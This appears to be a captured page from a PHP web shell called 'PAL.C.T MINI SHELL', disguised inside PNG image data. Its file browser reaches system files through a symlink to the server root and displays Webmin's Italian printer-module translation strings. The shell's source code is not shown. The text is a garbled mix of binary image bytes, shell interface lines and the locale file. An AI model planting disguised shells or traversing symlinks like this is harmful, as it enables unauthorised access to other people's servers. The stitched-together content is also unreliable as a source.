php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/lpadmin/lang/it.auto

index_header=Stampanti disponibili
index_enabled=Abilitato?
index_accepting=Accettare?
index_jlist=Lavori ..
index_jcount=$1 lavori ..
index_restart=Riavvia Scheduler
index_restartmsg=Fare clic su questo pulsante per riavviare il processo dello scheduler di stampa. Ciò forzerà l'applicazione della configurazione di stampa corrente.
index_esystem=Installa il software per il tuo sistema di stampa scelto o usa la <a href='$1'>configurazione del modulo</a> per cambiarlo.
index_style=Sistema di stampa: $1 
index_cluster=Server cluster
index_clusterdesc=Fare clic su questo pulsante per configurare server Webmin aggiuntivi su cui verranno create, aggiornate ed eliminate le stampanti.
index_delete=Elimina stampanti selezionate

style_solaris=Solaris
style_linux=Linux LPR
style_freebsd=FreeBSD LPR
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=CUPS
style_irix=IRIX
style_aix=AIX

edit_unlimited=Illimitato
edit_direct=Connessione TCP diretta
edit_dport=Porta
edit_check=Controlla se il server remoto è attivo?

save_erport=La porta remota '$1' non è valida
save_edhost=L'host diretto '$1' non esiste
save_edport=Porta diretta mancante o non valida
save_evalid=Il sistema di stampa non ha consentito questa stampante
save_errslave=La stampante ha creato OK su questo sistema, ma i seguenti errori si sono verificati sui sistemi cluster : $1 
save_egone=Nessuna stampante denominata '$1' è stata trovata
save_errdelslave=La stampante ha eliminato OK su questo sistema, ma i seguenti errori si sono verificati sui sistemi cluster : $1 

jobs_all=Annulla tutti i lavori di stampa
jobs_bytes=byte
jobs_test=Stampa pagina di prova
jobs_cancelsel=Annulla lavori selezionati
jobs_on=Sulla stampante $1 
jobs_return=elenco di lavori di stampa

restart_ecannot=Non è consentito riavviare lo scheduler
restart_err=Impossibile riavviare lo scheduler

redhat_printer2=Modello e driver della stampante

suse_none=Nessuna
suse_nonemsg=PostScript o stampante di testo
suse_prog=Programma
suse_driver=Driver APSfilter
suse_printer=Tipo di stampante
suse_res=Risoluzione in DPI
suse_colour=Stampante a colori?
suse_paper=Misura del foglio
suse_method=Metodo di filtro
suse_auto=Automatico
suse_ascii=ASCII
suse_raw=Crudo
suse_extra=Opzioni extra di ghostscript
suse_yast2=Driver YAST2
suse_edriver=Nessun tipo di stampante selezionato
suse_eres=Risoluzione mancante o non valida

estop=Impossibile arrestare lpd : $1 

acl_restart=Riavvia solo
acl_pall=Tutte le stampanti
acl_psel=Selezionato ..
acl_view=Mostra stampanti non configurabili?
acl_test=È possibile stampare pagine di prova?
acl_user=Gestire i lavori di stampa di proprietà di
acl_user_all=Tutti gli utenti
acl_user_this=Utente Webmin corrente
acl_delete=È possibile eliminare le stampanti?
acl_cluster=È possibile gestire il cluster di stampanti?

log_stop=Pianificatore di stampa interrotto
log_start=Pianificatore di stampa avviato
log_restart=Pianificatore di stampa riavviato
log_cancel_job=Processo di stampa annullato $2 su $1 
log_cancel_all=Annullati tutti i lavori di stampa su $1 
log_cancel_sel=$2 lavori di stampa annullati su $1 
log_create=Stampante creata $1 su $2 
log_modify=Stampante modificata $1 su $2 
log_delete=Stampante eliminata $1 su $2 
log_create_l=Creazione $3 stampante $1 su $2 
log_modify_l=$3 stampante modificata $1 su $2 
log_delete_l=$3 stampante eliminata $1 su $2 

linux_paralel=Porta parallela $1 
linux_serial=Porta seriale $1 (COM $1)
linux_null=Dispositivo nullo
linux_usb=Stampante USB $1 
linux_ecmd=Il comando $1 non è stato trovato sul tuo sistema, a indicare che il sistema di stampa Linux non è installato.
linux_espool=La directory di spool $1 non esiste sul tuo sistema, il che indica che il sistema di stampa Linux non è installato.

freebsd_paralel=Porta parallela
freebsd_serial=Porta seriale $1 (COM $1)
freebsd_ecmd=Il comando $1 non è stato trovato sul tuo sistema, il che indica che il sistema di stampa di FreeBSD non è installato.
freebsd_espool=La directory di spool $1 non esiste sul tuo sistema, il che indica che il sistema di stampa di FreeBSD non è installato.

openbsd_paralel=Porta parallela
openbsd_serial=Porta seriale $1 (COM $1)

unixware_paralel=Porta parallela $1 
unixware_serial=Porta seriale $1 
unixware_null=Dispositivo nullo
unixware_ecmd=Il comando $1 non è stato trovato sul tuo sistema, a indicare che il sistema di stampa UnixWare non è installato.

hpux_paralel=Parallelo $1 
hpux_serial=Seriale $1 
hpux_null=Dispositivo nullo
hpux_ecmd=Il comando $1 non è stato trovato sul tuo sistema, a indicare che il sistema di stampa HPUX non è installato.
hpux_eiface=La directory degli script di interfaccia $1 non esiste sul sistema, a indicare che il sistema di stampa HPUX non è installato.

lprng_paralel=Porta parallela $1 
lprng_serial=Porta seriale $1 (COM $1)
lprng_null=Dispositivo nullo
lprng_ecmd=Il comando $1 non è stato trovato sul tuo sistema, il che indica che il sistema di stampa LPRng non è installato.
lprng_espool=La directory di spool $1 non esiste sul sistema, il che indica che il sistema di stampa LPRng non è installato.

solaris_paralel=Porta parallela
solaris_uparalel=Porta parallela Ultra 5/10
solaris_serial=Porta seriale $1 
solaris_null=Dispositivo nullo
solaris_ecmd=Il comando $1 non è stato trovato sul sistema, a indicare che il sistema di stampa Solaris non è installato.

test_title=Stampa pagina di prova
test_ecannot=Non è consentito stampare pagine di prova
test_desc=Questo modulo consente di stampare una pagina di prova per la stampante $1. Seleziona il tipo di pagina che desideri stampare :
test_0=Pagina Postscript in bianco e nero
test_1=Pagina Postscript a colori
test_2=Testo ASCII semplice
test_3=Qualsiasi file caricato
test_print=Stampa pagina
test_exec=Stampa della pagina di prova con il comando $1 ..
test_failed=.. comando fallito!
test_ok=.. comando completato.

cups_none=Nessuna
cups_nonemsg=Stampante remota o raw
cups_prog=Programma
cups_driver=Driver CUPS
cups_eprog='$1' non è un programma valido
cups_opts=Opzioni per $1 
cups_ecmd=Il comando $1 non è stato trovato sul tuo sistema, a indicare che il sistema di stampa CUPS non è installato.

irix_ecmd=Il comando $1 non è stato trovato sul tuo sistema, il che indica che il sistema di stampa IRIX non è installato.
irix_eiface=La directory degli script di interfaccia $1 non esiste sul sistema, a indicare che il sistema di stampa IRIX non è installato.

aix_port=Porta stampante $1 
aix_edesc=Descrizione non valida: sono consentite solo lettere e numeri e nessuno spazio
aix_ecmd=Il server di stampa AIX $1 non è stato trovato. Forse non è installato o è in uso un altro sistema di stampa.

cluster_title=Server di stampa cluster
cluster_none=Nessun server è stato ancora aggiunto al cluster di stampanti.
cluster_host=Nome host
cluster_desc=Descrizione
cluster_os=Sistema operativo
cluster_add=Aggiungi server
cluster_gadd=Aggiungi server nel gruppo
cluster_need=È necessario aggiungere server con un login e una password nel modulo Indice server Webmin prima che possano essere gestiti qui.
cluster_return=server cluster
cluster_delete=Rimuovi i selezionati
cluster_ecannot=Non è consentito gestire server di stampanti cluster

add_title=Aggiungi server
add_msg=Aggiunta di $1 ..
add_gmsg=Aggiunta di server nel gruppo $1 ..
add_err=Impossibile aggiungere il server
add_gerr=Impossibile aggiungere il gruppo
add_echeck=Il server $1 non ha il modulo di amministrazione della stampante
add_ediff=Il server $1 utilizza un sistema di stampa diverso ($2) da questo server
add_ediff2=Il server $1 utilizza un driver di stampa diverso ($2) a questo server
add_ok=Aggiunto $1, con $2 stampanti.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`